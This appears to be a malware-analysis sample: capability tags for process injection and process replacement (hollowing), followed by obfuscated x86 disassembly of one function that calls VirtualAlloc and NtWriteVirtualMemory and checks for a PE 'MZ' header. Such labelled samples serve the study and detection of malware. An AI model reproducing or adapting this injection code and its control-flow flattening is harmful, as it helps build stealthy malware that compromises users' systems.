Function at 0x10014570
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x13c
mov eax, dword [0x1008e080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x144], 0x951858ee
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
sub eax, 0x80468d8d
je 0x10018a7f
jmp 0x100145ac
mov eax, dword [ebp - 0x148]
sub eax, 0x827c1f7a
je 0x10016c35
jmp 0x100145c2
mov eax, dword [ebp - 0x148]
sub eax, 0x83c75014
je 0x10016e58
jmp 0x100145d8
mov eax, dword [ebp - 0x148]
sub eax, 0x85245281
je 0x10017928
jmp 0x100145ee
mov eax, dword [ebp - 0x148]
sub eax, 0x858e49c0
je 0x100194b6
jmp 0x10014604
mov eax, dword [ebp - 0x148]
sub eax, 0x870abe02
je 0x100172d5
jmp 0x1001461a
mov eax, dword [ebp - 0x148]
sub eax, 0x87ac6dbd
je 0x10017e15
jmp 0x10014630
mov eax, dword [ebp - 0x148]
sub eax, 0x885cc5e2
je 0x10018453
jmp 0x10014646
mov eax, dword [ebp - 0x148]
sub eax, 0x88d11cff
je 0x10016a46
jmp 0x1001465c
mov eax, dword [ebp - 0x148]
sub eax, 0x890b25b0
je 0x10017618
jmp 0x10014672
mov eax, dword [ebp - 0x148]
sub eax, 0x8babe8d9
je 0x10017026
jmp 0x10014688
mov eax, dword [ebp - 0x148]
sub eax, 0x8be80993
je 0x10018e2a
jmp 0x1001469e
mov eax, dword [ebp - 0x148]
sub eax, 0x8c6c0e0d
je 0x10016b8c
jmp 0x100146b4
mov eax, dword [ebp - 0x148]
sub eax, 0x8d9c8b44
je 0x1001855f
jmp 0x100146ca
mov eax, dword [ebp - 0x148]
sub eax, 0x8ef67f97
je 0x10018106
jmp 0x100146e0
mov eax, dword [ebp - 0x148]
sub eax, 0x8f38472b
je 0x10016d56
jmp 0x100146f6
mov eax, dword [ebp - 0x148]
sub eax, 0x90318a61
je 0x1001640e
jmp 0x1001470c
mov eax, dword [ebp - 0x148]
sub eax, 0x90e55d3f
je 0x100183c4
jmp 0x10014722
mov eax, dword [ebp - 0x148]
sub eax, 0x926b313f
je 0x100198e2
jmp 0x10014738
mov eax, dword [ebp - 0x148]
sub eax, 0x92c5db9a
je 0x1001937c
jmp 0x1001474e
mov eax, dword [ebp - 0x148]
sub eax, 0x9406c1f9
je 0x10017406
jmp 0x10014764
mov eax, dword [ebp - 0x148]
sub eax, 0x9491c7ae
je 0x1001882b
jmp 0x1001477a
mov eax, dword [ebp - 0x148]
sub eax, 0x94a12db0
je 0x1001768e
jmp 0x10014790
mov eax, dword [ebp - 0x148]
sub eax, 0x951858ee
je 0x10015ec9
jmp 0x100147a6
mov eax, dword [ebp - 0x148]
sub eax, 0x955f646d
je 0x100196de
jmp 0x100147bc
mov eax, dword [ebp - 0x148]
sub eax, 0x95ea33b0
je 0x10017a13
jmp 0x100147d2
mov eax, dword [ebp - 0x148]
sub eax, 0x96b19c8f
je 0x100197cd
jmp 0x100147e8
mov eax, dword [ebp - 0x148]
sub eax, 0x98b87f28
je 0x100177ae
jmp 0x100147fe
mov eax, dword [ebp - 0x148]
sub eax, 0x99879d3f
je 0x10017247
jmp 0x10014814
mov eax, dword [ebp - 0x148]
sub eax, 0x9a1d31e0
je 0x10019570
jmp 0x1001482a
mov eax, dword [ebp - 0x148]
sub eax, 0x9ab994d2
je 0x10017c2e
jmp 0x10014840
mov eax, dword [ebp - 0x148]
sub eax, 0x9af4efd9
je 0x100198b9
jmp 0x10014856
mov eax, dword [ebp - 0x148]
sub eax, 0x9cd3e6d1
je 0x10018215
jmp 0x1001486c
mov eax, dword [ebp - 0x148]
sub eax, 0x9e65cdcd
je 0x10015f36
jmp 0x10014882
mov eax, dword [ebp - 0x148]
sub eax, 0xa26f08c9
je 0x10018068
jmp 0x10014898
mov eax, dword [ebp - 0x148]
sub eax, 0xa31510de
je 0x100172c6
jmp 0x100148ae
mov eax, dword [ebp - 0x148]
sub eax, 0xa406df51
je 0x10017b06
jmp 0x100148c4
mov eax, dword [ebp - 0x148]
sub eax, 0xa5c09fd5
je 0x100173e5
jmp 0x100148da
mov eax, dword [ebp - 0x148]
sub eax, 0xa5e367e8
je 0x10016344
jmp 0x100148f0
mov eax, dword [ebp - 0x148]
sub eax, 0xa5eeabb4
je 0x1001801f
jmp 0x10014906
mov eax, dword [ebp - 0x148]
sub eax, 0xa6368f52
je 0x10018d12
jmp 0x1001491c
mov eax, dword [ebp - 0x148]
sub eax, 0xa6a2af3a
je 0x10016737
jmp 0x10014932
mov eax, dword [ebp - 0x148]
sub eax, 0xa801191a
je 0x10019482
jmp 0x10014948
mov eax, dword [ebp - 0x148]
sub eax, 0xa90c793b
je 0x10018b1e
jmp 0x1001495e
mov eax, dword [ebp - 0x148]
sub eax, 0xab3ff1b9
je 0x10016d22
jmp 0x10014974
mov eax, dword [ebp - 0x148]
sub eax, 0xabab7093
je 0x10019874
jmp 0x1001498a
mov eax, dword [ebp - 0x148]
sub eax, 0xad18058e
je 0x10016a21
jmp 0x100149a0
mov eax, dword [ebp - 0x148]
sub eax, 0xad4a540e
je 0x10019684
jmp 0x100149b6
mov eax, dword [ebp - 0x148]
sub eax, 0xad60ca01
je 0x1001713a
jmp 0x100149cc
mov eax, dword [ebp - 0x148]
sub eax, 0xad9b6beb
je 0x10018621
jmp 0x100149e2
mov eax, dword [ebp - 0x148]
sub eax, 0xadfb5a89
je 0x10018323
jmp 0x100149f8
mov eax, dword [ebp - 0x148]
sub eax, 0xae73eeb5
je 0x10016d40
jmp 0x10014a0e
mov eax, dword [ebp - 0x148]
sub eax, 0xae92a782
je 0x10016b3b
jmp 0x10014a24
mov eax, dword [ebp - 0x148]
sub eax, 0xb052e63b
je 0x10016fb0
jmp 0x10014a3a
mov eax, dword [ebp - 0x148]
sub eax, 0xb0907d6e
je 0x10019717
jmp 0x10014a50
mov eax, dword [ebp - 0x148]
sub eax, 0xb16b2605
je 0x100193a9
jmp 0x10014a66
mov eax, dword [ebp - 0x148]
sub eax, 0xb18ff144
je 0x10016f1a
jmp 0x10014a7c
mov eax, dword [ebp - 0x148]
sub eax, 0xb3c3b6b1
je 0x1001692f
jmp 0x10014a92
mov eax, dword [ebp - 0x148]
sub eax, 0xb40087b9
je 0x10018f68
jmp 0x10014aa8
mov eax, dword [ebp - 0x148]
sub eax, 0xb41fd912
je 0x10017e06
jmp 0x10014abe
mov eax, dword [ebp - 0x148]
sub eax, 0xb4a8bc93
je 0x100194de
jmp 0x10014ad4
mov eax, dword [ebp - 0x148]
sub eax, 0xb7419aa4
je 0x10017d10
jmp 0x10014aea
mov eax, dword [ebp - 0x148]
sub eax, 0xb78f34e5
je 0x100195a4
jmp 0x10014b00
mov eax, dword [ebp - 0x148]
sub eax, 0xb8dec4e4
je 0x1001883a
jmp 0x10014b16
mov eax, dword [ebp - 0x148]
sub eax, 0xbd439488
je 0x10019146
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
mov byte [ebp - 0xf9], 1
mov dword [ebp - 0x144], 0xe67aefbb
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa801191a
mov ecx, 0x400a681c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x100], 0xefb8ef4
mov dword [ebp - 0x144], 0xdad260f3
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
sub edx, 0xfad6319c
sub edx, 1
add edx, 0xfad6319c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb4a8bc93
mov ecx, 0xd75f309
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
mov edx, eax
sub edx, 0x3c2c07c3
sub edx, 1
add edx, 0x3c2c07c3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8a19720
mov ecx, 0xc0cfa2d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6474bffe
mov ecx, 0x48b40428
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x7b3c460f
jmp 0x100198ec
mov dword [ebp - 0x144], 0x7b3c460f
jmp 0x100198ec
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
mov edx, eax
sub edx, 0x75fa5fb2
sub edx, 1
add edx, 0x75fa5fb2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b923dfe
mov ecx, 0x8c6c0e0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov byte [ebp - 0x102], 1
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b923dfe
mov ecx, 0x5af474b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
xor eax, eax
mov dl, al
mov eax, 0xae73eeb5
mov ecx, 0xd42e5695
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x4a68f01d
jmp 0x100198ec
mov byte [ebp - 0x102], 1
mov dword [ebp - 0x144], 0x8f38472b
jmp 0x100198ec
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66248d9f
mov ecx, 0x2028226
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov edx, dword [ebp - 0xd0]
mov eax, 0x76b5e57
mov ecx, 0xfbaa5a0c
cmp edx, 0xefb8ec3
cmovg eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
cmp dword [ebp - 0x108], 0xefb8ec1
setle al
and al, 1
mov byte [ebp - 0xc9], al
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
mov edx, eax
add edx, 0xf0ed31d4
sub edx, 1
sub edx, 0xf0ed31d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf978f212
mov ecx, 0xc063c1ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
add edx, 0x381da4
sub edx, 1
sub edx, 0x381da4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb78f34e5
mov ecx, 0x8babe8d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xc8], eax
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
sub edx, 0x4b89fa4a
sub edx, 1
add edx, 0x4b89fa4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb78f34e5
mov ecx, 0xda5da863
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dl, byte [ebp - 0xc3]
mov eax, 0x457f6b50
mov ecx, 0x99879d3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov byte [ebp - 0x109], 0
mov dword [ebp - 0x144], 0xe73e21f4
jmp 0x100198ec
mov dword [ebp - 0x144], 0x870abe02
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
sub edx, 0x96de271b
sub edx, 1
add edx, 0x96de271b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc66613c2
mov ecx, 0x3a0c2e85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dl, byte [ebp - 0xc2]
mov eax, 0x9406c1f9
mov ecx, 0xd94f9552
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd0732a81
mov ecx, 0x18cc49c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
add edx, 0xab00d7be
sub edx, 1
sub edx, 0xab00d7be
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5b249347
mov ecx, 0x94a12db0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov byte [ebp - 0x10a], 0
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
add edx, 0x2de6d554
sub edx, 1
sub edx, 0x2de6d554
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b249347
mov ecx, 0xd15dd238
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov byte [ebp - 0x10b], 1
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3df09a59
mov ecx, 0x7cbefea4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dl, 1
mov eax, 0x184614e9
mov ecx, 0x2203e089
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x68fcedc2
jmp 0x100198ec
mov dword [ebp - 0x144], 0xf6845491
jmp 0x100198ec
mov dword [ebp - 0x144], 0xa5eeabb4
jmp 0x100198ec
mov dword [ebp - 0x144], 0xe0e21a87
jmp 0x100198ec
mov dword [ebp - 0x144], 0x87ac6dbd
jmp 0x100198ec
mov eax, dword [ebp - 0xbc]
sub eax, 0x823c12b0
add eax, 1
add eax, 0x823c12b0
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x144], 0x4f3dfc49
jmp 0x100198ec
mov dword [ebp - 0x114], 0xefb8ee8
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x144], 0x5f405f76
jmp 0x100198ec
mov dword [ebp - 0x114], 0xefb8f08
mov dword [ebp - 0x144], 0x5c256f7b
jmp 0x100198ec
mov dword [ebp - 0x114], 1
mov dword [ebp - 0x144], 0xfc1955b2
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfd3595fa
mov ecx, 0x3cb33ae8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x3ef12ce
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x955f646d
mov ecx, 0x26a3c7d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov ecx, dword [0x1008f62c]
mov eax, dword [0x1008f628]
mov edx, ecx
sub edx, 0xc5242d52
sub edx, 1
add edx, 0xc5242d52
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe291e497
mov ecx, 0x2881df10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x1308adad
jmp 0x100198ec
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
mov edx, eax
add edx, 0x55b94b80
sub edx, 1
sub edx, 0x55b94b80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd5867c2
mov ecx, 0x45afa8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0xb8dec4e4
jmp 0x100198ec
mov eax, dword [ebp - 0xac]
movzx edx, word [eax]
mov eax, 0xf4f6fe2e
mov ecx, 0x33b55d69
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x16273767
jmp 0x100198ec
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x144], 0x1ad1034e
jmp 0x100198ec
mov eax, dword [0x1008f62c]
mov ecx, dword [0x1008f628]
mov edx, eax
sub edx, 0x22504b8d
sub edx, 1
add edx, 0x22504b8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabab7093
mov ecx, 0x450aaf7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x144], eax
jmp 0x100198ec
mov dword [ebp - 0x144], 0x1a96348d
jmp 0x100198ec
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x144], 0x635b0102
jmp 0x100198ec
mov dword [ebp - 0x144], 0x5d768671
jmp 0x100198ec
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x144], 0x3ad073c5
jmp 0x100198ec
mov byte [ebp - 0xf9], 0
mov dword [ebp - 0x144], 0x400a681c
jmp 0x100198ec
mov dword [ebp - 0x100], 0xefb8ec1
mov dword [ebp - 0x144], 0xed50df94
jmp 0x100198ec
mov dword [ebp - 0x144], 0xd75f309
jmp 0x100198ec
mov byte [ebp - 0x102], 1
mov dword [ebp - 0x144], 0x12fa398c
jmp 0x100198ec
mov dword [ebp - 0x144], 0x8babe8d9
jmp 0x100198ec
mov dword [ebp - 0x144], 0xc13fdb15
jmp 0x100198ec
mov dword [ebp - 0x144], 0x90e55d3f
jmp 0x100198ec
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x144], 0x122551c8
jmp 0x100198ec
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1002d4d0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1002d4d0
add esp, 0xc
mov dword [ebp - 0x144], 0x5ee4bbf8
jmp 0x100198ec
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x144], 0x450aaf7d
jmp 0x100198ec
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x144], 0x2fa9c57e
jmp 0x100198ec
mov dword [ebp - 0x144], 0x5475e6b4
jmp 0x10014590